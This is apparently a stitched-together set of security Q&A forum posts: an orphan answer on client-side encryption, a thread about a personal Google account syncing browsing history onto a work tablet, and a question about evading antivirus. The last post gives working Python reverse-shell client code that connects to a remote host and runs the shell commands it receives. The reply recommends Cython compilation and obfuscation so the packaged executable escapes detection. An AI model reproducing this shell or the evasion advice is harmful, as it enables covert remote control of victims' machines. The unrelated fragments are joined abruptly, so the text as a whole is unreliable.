What you need in your scenario is client side encryption, where the client handles the key material and encrypts the data before transferring it. This ensures that an attacker on the server side will not be able to decrypt the stored data - as the keys are not present there.


Private Google account at work I have an old private tablet at work with my private Google account on it .It's connected to our WiFi, where i logged in with my personal working code. Never use it much as I just play some music on it.

Today I saw that my browsing and history from my computer back home came up in Chrome on the tablet.

My question is: can my job see what am browsing at home just because am logged in on the tablet? Or is this information encrypted from Google? Never use the tablet at work for browsing purposes.

Ideally, you should not do any personal stuff like browsing, gaming, social media networking etc. on the same machine/workstation/tablet that you use for work.

This practice has contributed to many corporate breaches, here is the latest example:
https://castbox.fm/episode/Job-seeker-exposes-banking-network-to-Lazurus-Group-%E2%80%94-Research-Saturday-id101971-id134807630?country=us

  Today I saw that my browsing and history from my computer back home came up in Chrome on the tablet.

That's because you're signed in on both devices with the same Google account and have the Sync turned on. You can turn the sync feature off on your tablet and put 2FA on your account .. or better if make a new Gmail account altogether for the tablet.

  Can my job see what am browsing at home just because am logged in on the tablet? Or is this information encrypted from Google?

Technically no, as long as you don't hand over the password or unless you are using a Gsuite account on the tablet, your company admin can remotely wipe the device, set certain policies and even reset your corporate email password to get access to the history. So generally, it is a good practice to turn your history/location/voice tracking off.

But you have to take into consideration another aspect: You agree to submit to the information security policy of your company if you use your personal device at work, so beware, even if it is your personal device, locked with the password that only you know, your employer can ask you to hand over the password in case of any cybersecurity incident where the investigation of your machines might be required.

Stay paranoid!


Reverse shell with python client side becomes detectable after converting with pyinstaller as exe file When converting the reverse shell client.py python file to exe with pyinstaller it becomes detectable as a trojan on virustotal.com with most antivirus.
Here is my client file:
import os, socket, subprocess

s = socket.socket()
host = '192.168.1.81'
port = 9999
s.connect((host,port))

while True:
    data = s.recv(1024)
    if data[:2].decode('utf-8') == 'cd':
        os.chdir(data[3:].decode('utf-8'))
    if len(data) > 0:
        cmd = subprocess.Popen(data[:].decode('utf-8'), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
        output_byte = cmd.stdout.read() + cmd.stderr.read()
        output_str = str(output_byte,'utf-8')
        s.send(str.encode(output_str + str(os.getcwd()) +'> '))
    else:
        break

s.close()

How do I convert the file into exe so that it stays undetected like when is in its python file format .py?

Many Python “exe” tools just package the script with a runtime. You may want to consider something like Cython that produces a C version that can be compiled directly to object code. I doubt your vanilla version will escape detection and my require further obfuscation.